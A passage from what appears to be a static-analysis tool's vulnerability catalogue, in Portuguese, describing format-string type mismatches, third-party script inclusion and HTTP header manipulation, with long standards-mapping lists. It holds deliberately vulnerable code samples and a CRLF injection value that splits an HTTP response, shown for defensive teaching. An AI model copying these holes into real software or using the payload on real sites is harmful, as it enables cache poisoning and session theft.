[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_number_mismatch
Abstract
O programa usa uma cadeia de formato indevidamente construída que contém especificadores de conversão não alinhados aos tipos dos argumentos transmitidos para a função. Cadeias de caracteres com formato incorreto podem fazer com que o programa converta valores incorretamente e possivelmente leia ou grave fora dos limites da memória alocada, o que pode introduzir comportamentos impróprios ou travar o programa.
Explanation
O buffer overflow é provavelmente a forma mais conhecida de vulnerabilidade de segurança de software. A maioria dos desenvolvedores de software sabe o que é uma vulnerabilidade de buffer overflow, mas ataques de buffer overflow contra aplicativos legados e recém-desenvolvidos ainda são bastante comuns. Uma parte do problema deve-se à grande variedade de maneiras de como estouros de buffer podem ocorrer, enquanto outra parte deve-se às técnicas propensas a erros frequentemente utilizadas para impedir esses estouros.

Em uma exploração de buffer overflow clássica, o invasor envia dados a um programa, que ele armazena em um buffer de pilha de tamanho menor do que o normal. O resultado é que as informações na pilha de chamadas são substituídas, incluindo o apontador de retorno da função. Os dados definem o valor do apontador de retorno de forma que, quando a função é retornada, ela transfere o controle para o código mal-intencionado contido nos dados do invasor.

Embora esse tipo de buffer overflow de pilha ainda seja comum em algumas plataformas e comunidades de desenvolvimento, há vários outros tipos de buffer overflow, incluindo estouros de buffer de heap e erros "off-by-one", entre outros. Existem diversos livros excelentes que fornecem informações detalhadas sobre como ataques de buffer overflow funcionam, entre eles Building Secure Software [1], Writing Secure Code [2] e The Shellcoder's Handbook [3].

Em nível de código, vulnerabilidades de buffer overflow geralmente envolvem a violação das premissas do programador. Muitas funções de manipulação de memória em C e C++ não realizam verificações de limites e podem facilmente exceder os limites alocados dos buffers sob os quais elas operam. Até mesmo funções limitadas, como strncpy(), podem causar vulnerabilidades quando usadas incorretamente. A combinação entre manipulação de memória e suposições equivocadas sobre o tamanho ou a composição de um determinado dado é a causa raiz da maioria dos estouros de buffer.

Nesse caso, uma cadeia de formato indevidamente construída faz com que o programa converta valores de dados ou acesse valores fora dos limites da memória alocada.

Exemplo: O código a seguir converte incorretamente f de um flutuante usando um especificador de formato %d.


void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
References
[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[3] J. Koziol et al. The Shellcoder's Handbook: Discovering and Exploiting Security Holes John Wiley & Sons
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 125, CWE ID 787
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [1] CWE ID 119, [5] CWE ID 125, [12] CWE ID 787
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [5] CWE ID 119, [4] CWE ID 125, [2] CWE ID 787
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [1] CWE ID 787, [3] CWE ID 125, [17] CWE ID 119
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [1] CWE ID 787, [5] CWE ID 125, [19] CWE ID 119
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [1] CWE ID 787, [7] CWE ID 125, [17] CWE ID 119
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 10.3
[17] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 5-0-3
[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[20] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[21] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 119
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_type_mismatch
Abstract
Incluir um script de outro domínio significa que a segurança dessa página da Web depende da segurança do outro domínio.
Explanation
Incluir conteúdo executável de outro site é uma proposta arriscada. Isso vincula a segurança do seu site à segurança do outro site.

Exemplo: Considere a seguinte tag script.

<script src="http://www.example.com/js/fancyWidget.js"></script>


Se essa tag aparecer em um site diferente de www.example.com, esse site dependerá de www.example.com para apresentar o código correto e não mal-intencionado. Se os invasores puderem comprometer www.example.com, eles poderão alterar o conteúdo de fancyWidget.js para corromper a segurança do site. Por exemplo, eles poderiam adicionar código a fancyWidget.js para roubar dados confidenciais de um usuário.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark partial
[6] Standards Mapping - Common Weakness Enumeration CWE ID 494, CWE ID 829
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[13] Standards Mapping - OWASP Mobile 2024 M7 Insufficient Binary Protections
[14] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-PLATFORM-2
[15] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40)
[31] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Process Validation
desc.content.html.hardcoded_domain
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.abap.header_manipulation
Abstract
A inclusão de dados não validados em um cabeçalho de resposta HTTP pode permitir ataques como envenenamento de cache, cross-site scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou Open Redirect.
Explanation
Vulnerabilidades de Header Manipulation ocorrem quando:

1. Os dados entram em um aplicativo Web por meio de uma fonte não confiável, mais frequentemente em uma solicitação HTTP.


2. Os dados são incluídos em um cabeçalho de resposta HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, Header Manipulation é um meio para um fim, e não um fim por si só. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho de resposta HTTP.

Um dos ataques mais comuns de Header Manipulation é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (alimentação de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos servidores de aplicativos modernos de hoje impedem a injeção de caracteres mal-intencionados nos cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo 1: O seguinte código define um cabeçalho HTTP cujo nome e valor podem ser controlados por um invasor:


@HttpGet
global static void doGet() {
...
Map<String, String> params = ApexPages.currentPage().getParameters();

RestResponse res = RestContext.response;
res.addHeader(params.get('name'), params.get('value'));
...
}


Supondo que um par nome/valor consista em author e Jane Smith, a resposta HTTP incluindo este cabeçalho pode ter o seguinte formato:


HTTP/1.1 200 OK
...
author:Jane Smith
...


No entanto, como o valor do cabeçalho é formado com base em entrada de usuário não validada, um invasor pode enviar um par nome/valor mal-intencionado, como HTTP/1.1 200 OK\r\n...foo e bar, e a resposta HTTP seria dividida em duas respostas da seguinte forma:


HTTP/1.1 200 OK
...

HTTP/1.1 200 OK
...
foo:bar


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor pode fazer uma única solicitação a um servidor vulnerável que faz com que o servidor crie duas respostas. A segunda delas pode ser mal interpretada como resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa capacidade de convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança do aplicativo. Na pior das hipóteses, um invasor pode fornecer conteúdo especialmente criado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de conta e senhas, de volta ao invasor.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, ele continuará recebendo o conteúdo mal-intencionado até que a entrada do cache seja removida, embora apenas o usuário da instância do navegador local será afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas (a resposta pretendida do servidor e a resposta gerada pelo invasor), um invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, direcione indevidamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Manipulação de Cookie: Em combinação com ataques como Cross-Site Request Forgery, os invasores podem alterar, acrescentar ou até mesmo sobrescrever os cookies de um usuário legítimo.

Open Redirect: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
